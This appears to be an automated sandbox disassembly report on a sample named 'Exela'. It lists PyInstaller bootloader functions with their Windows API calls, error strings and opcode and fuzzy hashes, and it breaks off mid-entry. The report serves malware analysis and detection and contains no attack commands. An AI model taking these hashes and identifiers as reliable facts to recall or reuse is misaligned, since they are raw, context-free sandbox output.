Part of subcall function 00007FF6E3A7B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B502
Part of subcall function 00007FF6E3A7B4EC: GetLastError.KERNEL32(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B50C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6E3A86E5C), ref: 00007FF6E3A86C43

Strings

W. Europe Summer Time, xrefs: 00007FF6E3A86D01
W. Europe Standard Time, xrefs: 00007FF6E3A86CE9

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 2248164782-690618308
Opcode ID: 6e110c42c992c942a967616de5e9b20753deb8e2725d4993c570f78644da606e
Instruction ID: bc0427546af3e7dc5a526e453f99e79aef13e3ddda88c7017159427de4b521df
Opcode Fuzzy Hash: 6e110c42c992c942a967616de5e9b20753deb8e2725d4993c570f78644da606e
Instruction Fuzzy Hash: 9251A433B0868286F314DF29E4862B96B61FF48744F414135DB4DE7AA6DF3EE4908749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68AF0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6E3A68B21
FindClose.KERNELBASE ref: 00007FF6E3A68B30

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b4e9d4f2f4e135cd5a826bc565e92bc8980f88c43f5a21f71a862fe531212b02
Instruction ID: eb2b87b6b3fd2f372cb12a8e86889556a1e3642ec0efe4205a04ed3b76623c03
Opcode Fuzzy Hash: b4e9d4f2f4e135cd5a826bc565e92bc8980f88c43f5a21f71a862fe531212b02
Instruction Fuzzy Hash: FAF08163B2868186E7608F6CB48A76AB755BB44724F040239D66D526D4DF3DD0988B05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A61700 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6E3A617C9
fseek, xrefs: 00007FF6E3A617FD
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6E3A618D5
Failed to create symbolic link %s!, xrefs: 00007FF6E3A61743
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF6E3A61716
fwrite, xrefs: 00007FF6E3A618DC
fread, xrefs: 00007FF6E3A618EC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6E3A617F6
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6E3A618E5
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6E3A61856
fopen, xrefs: 00007FF6E3A61787
Failed to extract %s: failed to open target file!, xrefs: 00007FF6E3A61780
malloc, xrefs: 00007FF6E3A6185D

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: cc5ceb98eda4347158160fbccdf7b36260528fe1d69c774381dc3ea243bb172e
Instruction ID: 7121ceb363d52737a635aa7b62582562a8ba7f5b705fbbd0265800e519491f54
Opcode Fuzzy Hash: cc5ceb98eda4347158160fbccdf7b36260528fe1d69c774381dc3ea243bb172e
Instruction Fuzzy Hash: 2A51D123F2868281EA109B2DE4463B97F91BF45BD4F400431DE0DE7A95DE3EE5C5870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A61A90 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6E3A682B0: _fread_nolock.LIBCMT ref: 00007FF6E3A6835A

_fread_nolock.LIBCMT ref: 00007FF6E3A61B44

Part of subcall function 00007FF6E3A62870: MessageBoxW.USER32 ref: 00007FF6E3A6297B

Strings

MEI, xrefs: 00007FF6E3A61AD2
fseek, xrefs: 00007FF6E3A61B23
Could not allocate buffer for TOC!, xrefs: 00007FF6E3A61BC6
Could not read full TOC!, xrefs: 00007FF6E3A61BF9
Failed to read cookie!, xrefs: 00007FF6E3A61B4F
Error on file., xrefs: 00007FF6E3A61C26
malloc, xrefs: 00007FF6E3A61BCD
Failed to seek to cookie position!, xrefs: 00007FF6E3A61B1C
fread, xrefs: 00007FF6E3A61B56, 00007FF6E3A61C00

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: bba1b85efbaa4b073b8c22ec037881b621827f3523ddc48d7032528aeb0d51b8
Instruction ID: b370cd5ed77afb1e815dcf642836b5b31f51f116986d9447fe88bc36ac96f13a
Opcode Fuzzy Hash: bba1b85efbaa4b073b8c22ec037881b621827f3523ddc48d7032528aeb0d51b8
Instruction Fuzzy Hash: 43517C73B1864286EB14DF2CE48627C7BA0EB48B44F518535D90DD7799DE2EE480CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A61000 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6E3A63EB0: GetModuleFileNameW.KERNEL32(?,00007FF6E3A639CA), ref: 00007FF6E3A63EE1

SetDllDirectoryW.KERNEL32 ref: 00007FF6E3A63BD5

Part of subcall function 00007FF6E3A67B60: GetEnvironmentVariableW.KERNEL32(00007FF6E3A639FF), ref: 00007FF6E3A67B9A
Part of subcall function 00007FF6E3A67B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6E3A67BB7

Strings

MEI, xrefs: 00007FF6E3A63ADA
_PYI_ONEDIR_MODE, xrefs: 00007FF6E3A63A14, 00007FF6E3A63A3F
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF6E3A63AA6
_MEIPASS2, xrefs: 00007FF6E3A639EB, 00007FF6E3A63A54, 00007FF6E3A63D07, 00007FF6E3A63D13
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6E3A63B53
Failed to convert DLL search path!, xrefs: 00007FF6E3A63BC5
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF6E3A63B1F

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-1544818733
Opcode ID: 767da2809997ecd08a899f0714dab35352101c7708ff18cc608221b79fe6a14f
Instruction ID: 67d214a280c7121991abedfe876a4301bf17e5ee3027b9695b144f8c5eab7561
Opcode Fuzzy Hash: 767da2809997ecd08a899f0714dab35352101c7708ff18cc608221b79fe6a14f
Instruction Fuzzy Hash: 60B1D753B3C68281FA24AB2D94533BD7B50BF40784F400135EA0DE72E6DF2EE586874A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF6E3A63D37), ref: 00007FF6E3A680CF
GetStartupInfoW.KERNEL32 ref: 00007FF6E3A680EE

Part of subcall function 00007FF6E3A7AFF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A7B008

Part of subcall function 00007FF6E3A78C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A78C77

GetCommandLineW.KERNEL32 ref: 00007FF6E3A6818E
CreateProcessW.KERNELBASE ref: 00007FF6E3A681D0
WaitForSingleObject.KERNEL32 ref: 00007FF6E3A681E4
GetExitCodeProcess.KERNELBASE ref: 00007FF6E3A681F4

Strings

CreateProcessW, xrefs: 00007FF6E3A68207
Error creating child process!, xrefs: 00007FF6E3A68200

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 3741643826c5352320942fbf43c5de1d0e179915c125a0ccfc2097356f541c1c
Instruction ID: 8312a84c253ef4608bbe0eaed404640ba5e62b8947632b65e0080d1b55165f18
Opcode Fuzzy Hash: 3741643826c5352320942fbf43c5de1d0e179915c125a0ccfc2097356f541c1c
Instruction Fuzzy Hash: 72412232B087C182DA209B28E4863AAB7A4FF94364F500735E6AD977D9DF7DD0848B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A61050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6E3A6111F
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6E3A610F1
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6E3A610B4
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6E3A61249
malloc, xrefs: 00007FF6E3A610F8, 00007FF6E3A61126
1.3.1, xrefs: 00007FF6E3A6107E

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 78a596c3fa58e1639bb55da3f19baf57d77ac2c1d59396bde79ba427dad7be7c
Instruction ID: 91e1c62a41746bdf04759f0c7e41b8f3efae5d7d3b446163c386f6345faaca91
Opcode Fuzzy Hash: 78a596c3fa58e1639bb55da3f19baf57d77ac2c1d59396bde79ba427dad7be7c
Instruction Fuzzy Hash: B951F123B1868281EA249B1DE4423BA7F91FB80794F440135DE4EE77D5EE3EE484C74A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7F7B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6E3A7FB4A,?,?,-00000018,00007FF6E3A7B8F7,?,?,?,00007FF6E3A7B7EE,?,?,?,00007FF6E3A76A32), ref: 00007FF6E3A7F92C
GetProcAddress.KERNEL32(?,?,?,00007FF6E3A7FB4A,?,?,-00000018,00007FF6E3A7B8F7,?,?,?,00007FF6E3A7B7EE,?,?,?,00007FF6E3A76A32), ref: 00007FF6E3A7F938

Strings

ext-ms-, xrefs: 00007FF6E3A7F889
api-ms-, xrefs: 00007FF6E3A7F876

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 7d0b8cd1019d27a9e16eec9e317f5686f28e1310d53eba994d83145821214b12
Instruction ID: 2f6ffcf44b5d88d1afe2a69c1515b6f4580b12538354d93b0594482ec9c841b0
Opcode Fuzzy Hash: 7d0b8cd1019d27a9e16eec9e317f5686f28e1310d53eba994d83145821214b12
Instruction Fuzzy Hash: DC41F223B19A0281FA16DB1EA8413B52A95BF08B90F094135CD0DE77C8EF3EE5C5830A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7C5FC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A7CA29

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 238f6c3964800fec6045ce986a1ebb87f5daa1cce848d40dd7ddd8ba0dfe7067
Instruction ID: ddc74e6199d0400abd9c88994d0aa56e4a31fe643e92ce6b6bc33d206eb2c87f
Opcode Fuzzy Hash: 238f6c3964800fec6045ce986a1ebb87f5daa1cce848d40dd7ddd8ba0dfe7067
Instruction Fuzzy Hash: 04C1E123B0C68251E7609B1894863BE7F65EF80B80F150131DA4EA73D9DF7EE885C34A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68650 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6E3A68670
OpenProcessToken.ADVAPI32 ref: 00007FF6E3A68681
GetTokenInformation.KERNELBASE ref: 00007FF6E3A686A6
GetLastError.KERNEL32 ref: 00007FF6E3A686B0
GetTokenInformation.KERNELBASE ref: 00007FF6E3A686F0
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6E3A6870C
CloseHandle.KERNEL32 ref: 00007FF6E3A68724

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: b199e8e08dbafb2fefb291e728498370fa2251d2026f483e6f64b3b10aef1c42
Instruction ID: 64a03823101554ee7366a28ff0923f5b2e65c5297a538f4e2f86edef92bc26c0
Opcode Fuzzy Hash: b199e8e08dbafb2fefb291e728498370fa2251d2026f483e6f64b3b10aef1c42
Instruction Fuzzy Hash: C5216933B0864281D7109B5DE485239BBA5EF857A0F140235DA6D97AD4DF7DD4848B05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68970 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6E3A68650: GetCurrentProcess.KERNEL32 ref: 00007FF6E3A68670
Part of subcall function 00007FF6E3A68650: OpenProcessToken.ADVAPI32 ref: 00007FF6E3A68681
Part of subcall function 00007FF6E3A68650: GetTokenInformation.KERNELBASE ref: 00007FF6E3A686A6
Part of subcall function 00007FF6E3A68650: GetLastError.KERNEL32 ref: 00007FF6E3A686B0
Part of subcall function 00007FF6E3A68650: GetTokenInformation.KERNELBASE ref: 00007FF6E3A686F0
Part of subcall function 00007FF6E3A68650: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6E3A6870C
Part of subcall function 00007FF6E3A68650: CloseHandle.KERNEL32 ref: 00007FF6E3A68724

LocalFree.KERNEL32(00000000,00007FF6E3A63B4E), ref: 00007FF6E3A689FC
LocalFree.KERNEL32 ref: 00007FF6E3A68A05

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6E3A689D2
Security descriptor string length exceeds PATH_MAX!, xrefs: 00007FF6E3A68A13
S-1-3-4, xrefs: 00007FF6E3A689B1
D:(A;;FA;;;%s), xrefs: 00007FF6E3A689E7

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
API String ID: 6828938-1817031585
Opcode ID: 4a0a64217b4c8618eeaa0cd08dc669878e89b812572458f449172cc44ebe3956
Instruction ID: 25e1ac517281e0d161ea8ea2126965abeb0b4d6325cc2ae8805315b319b06a14
Opcode Fuzzy Hash: 4a0a64217b4c8618eeaa0cd08dc669878e89b812572458f449172cc44ebe3956
Instruction Fuzzy Hash: CE216233B2868691F650AB1CE80A7F97A59AF54780F440131EA4DE3796DF3ED5808746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7DB00 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF6E3A7DAEB), ref: 00007FF6E3A7DC1C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF6E3A7DAEB), ref: 00007FF6E3A7DCA7

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 284863bd4a310ef6da540e9dcdc048057ff4d3a865a35ff47f01b15d00241537
Instruction ID: cc24362538c1b8074109492598675818fb713f69be2fc818da12fb82e6c23032
Opcode Fuzzy Hash: 284863bd4a310ef6da540e9dcdc048057ff4d3a865a35ff47f01b15d00241537
Instruction Fuzzy Hash: 4D919263B0869195F7509F6D94863BD3FE0BB44B88F144139DA0EB66C9CE7AD4C1C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A802CC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6E3A803BC
_get_daylight.LIBCMT ref: 00007FF6E3A803CD
_get_daylight.LIBCMT ref: 00007FF6E3A803DE
_isindst.LIBCMT ref: 00007FF6E3A804A9

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 20717f0f8a23f829e42a50c12fade424b7597f0ff0c8303254556571f0db49b3
Instruction ID: 4f1640e2990db64f05bfedfa2b9ae8956f860a7a8932b1b39deba752dcc9ff1d
Opcode Fuzzy Hash: 20717f0f8a23f829e42a50c12fade424b7597f0ff0c8303254556571f0db49b3
Instruction Fuzzy Hash: 18510673F042519AFB28DF6C999A7BC3B61BB50358F100235DE1DA2AE5DF3EA4818705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A75E34 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6E3A75E67
GetFileInformationByHandle.KERNELBASE ref: 00007FF6E3A75EC9
GetLastError.KERNEL32 ref: 00007FF6E3A75F5A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF6E3A75D6C), ref: 00007FF6E3A75FA6

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
